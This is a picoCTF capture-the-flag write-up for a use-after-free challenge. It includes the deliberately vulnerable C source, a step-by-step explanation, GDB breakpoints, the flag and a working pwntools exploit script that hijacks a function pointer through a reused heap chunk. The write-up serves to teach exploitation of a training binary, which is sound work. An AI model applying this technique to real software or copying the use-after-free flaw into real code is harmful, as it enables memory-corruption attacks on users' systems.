Check out my new video-game and spaghetti-eating streaming channel on Twixer!
Source
#include<ctype.h>#include<fcntl.h>#include<stdint.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#defineFLAG_BUFFER200#defineLINE_BUFFER_SIZE20typedefstruct {uintptr_t (*whatToDo)();char*username;} cmd;char choice;cmd *user;voidhahaexploitgobrrr() {char buf[FLAG_BUFFER]; FILE *f =fopen("flag.txt","r");fgets(buf, FLAG_BUFFER, f);fprintf(stdout,"%s\n", buf);fflush(stdout);}char*getsline(void) {getchar();char*line =malloc(100),*linep = line;size_t lenmax =100, len = lenmax;int c;if (line ==NULL)returnNULL;for (;;) { c =fgetc(stdin);if (c == EOF)break;if (--len ==0) { len = lenmax;char*linen =realloc(linep, lenmax *=2);if (linen ==NULL) {free(linep);returnNULL; } line = linen + (line - linep); linep = linen; }if ((*line++= c) =='\n')break; }*line ='\0';return linep;}voiddoProcess(cmd *obj) { (*obj->whatToDo)(); }voids() {printf("OOP! Memory leak...%p\n", hahaexploitgobrrr);puts("Thanks for subsribing! I really recommend becoming a premium member!");}voidp() {puts("Membership pending... (There's also a super-subscription you can also ""get for twice the price!)");}voidm() { puts("Account created."); }voidleaveMessage() {puts("I only read premium member messages but you can ");puts("try anyways:");char*msg = (char*)malloc(8);read(0, msg,8);}voidi() {char response;puts("You're leaving already(Y/N)?");scanf(" %c",&response);if (toupper(response)=='Y') {puts("Bye!");free(user); } else {puts("Ok. Get premium membership please!"); }}voidprintMenu() {puts("Welcome to my stream! ^W^");puts("==========================");puts("(S)ubscribe to my channel");puts("(I)nquire about account deletion");puts("(M)ake an Twixer account");puts("(P)ay for premium membership");puts("(l)eave a message(with or without logging in)");puts("(e)xit");}voidprocessInput() {scanf(" %c",&choice); choice =toupper(choice);switch (choice) {case'S':if (user) {user->whatToDo = (void*)s; } else {puts("Not logged in!"); }break;case'P':user->whatToDo = (void*)p;break;case'I':user->whatToDo = (void*)i;break;case'M':user->whatToDo = (void*)m;puts("===========================");puts("Registration: Welcome to Twixer!");puts("Enter your username: ");user->username =getsline();break;case'L':leaveMessage();break;case'E':exit(0);default:puts("Invalid option!");exit(1);break; }}intmain() {setbuf(stdout,NULL); user = (cmd *)malloc(sizeof(user));while (1) {printMenu();processInput();// if(user){doProcess(user);//} }return0;}
Solution
Challenge name indicates a Use After Free (UAF) vulnerability.
Use-After-Free (UAF) is a vulnerability related to incorrect use of dynamic memory during program operation. If after freeing a memory location, a program does not clear the pointer to that memory, an attacker can use the error to hack the program.
Goal is to call the hahaexploitgobrrr function, printing the flag.
main() first mallocs a user object* from the cmd struct, containing a function pointer whatToDo and a char pointer username.
*32-bit binary, so the two pointers are 4 bytes each, and you would assume malloc(8). However, ghidra shows malloc(4) because the code uses (cmd *)malloc(sizeof(user)) where user is a 4 byte pointer. However, when we debug the program, we see a 16-byte chunk is assigned, so malloc(16).
main() then indefinitely loops:
printMenu() - print menu options
processInput() - read user input
doProcess(user) - execute the current function pointed to by user->whatToDo
When we select a menu option, e.g. S the user->whatToDo function pointer is updated, to point at the relevant function, e.g. s:
(S) Leak hahaexploitgobrrr address
(I)free() the user object
(M) Create account, sets user->username(P) Print unimportant string
(L) Leave a message, reads 8 bytes into new chunk (malloc(8))
(E) Exit the program
Let's re-order these menu options into an exploit:
(S) Leak hahaexploitgobrrr address
(I)free() the user object
(L) Leave a message, reads 8 bytes into new chunk (malloc(8))
Breakdown: We'll leak (and capture) the hahaexploitgobrrr address. Next, we'll free the user object. Finally, we'll submit the hahaexploitgobrrr address as a message. malloc(8) will reuse the freed user chunk (UAF) and write the address into the user->whatToDo function pointer, which is continously executed by doProcess(user).
We can set some breakpoints in GDB:
break *0x8048d6f - After user = (cmd *)malloc(sizeof(user)) in main()
break *0x8048aff - After free(user) in i()
break *0x8048a61 - After char* msg = (char*)malloc(8) in leaveMessage()
The first breakpoint shows the address of the user chunk (0x95cd1a0), returned to the EAX by malloc.
Notice the user->whatToDo function pointer is now empty because the first word in a free chunk holds the previous free chunk's address (prev_ptr). However, the username remains.
We can check the heap and see that our free chunk is in the tcache.
malloc(8) has returned 0x95cd1a0, the same address as our previous chunk. Hence we are using-after-free when we write our message. We submit the leaked hahaexploitgobrrr function address, overwriting user->whatToDo. The infinite loop in main executes doProcess(user), triggering the hahaexploitgobrrr function and printing the flag.
pythonexploit.pyREMOTEmercury.picoctf.net61817[+] Opening connection to mercury.picoctf.net on port 61817: Done[*] leaked hahaexploitgobrrr() address: 0x80487d6[!] picoCTF{d0ubl3_j30p4rdy_1e154727}[*] Closed connection to mercury.picoctf.net port 61817
Solution
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgbreak *0x8048d6fbreak *0x8048affbreak *0x8048a61continue'''.format(**locals())# Binary filenameexe ='./vuln'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='info'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Start programio =start()# Create user (not needed, just for demo)io.sendlineafter(b'(e)xit', b'M')io.sendlineafter(b':', b'crypto')# Leak memory (win address)io.sendlineafter(b'(e)xit', b'S')io.recvuntil(b'OOP! Memory leak...', drop=True)leak =int(io.recvlineS(), 16)info("leaked hahaexploitgobrrr() address: %#x", leak)# Free the userio.sendlineafter(b'(e)xit', b'I')io.sendlineafter(b'?', b'Y')# Leave a message (leaked address)# The freed chunk will be reusedio.sendlineafter(b'(e)xit', b'L')io.sendlineafter(b':', flat(leak))# Got Flag?warn(io.recvlines(2)[1].decode())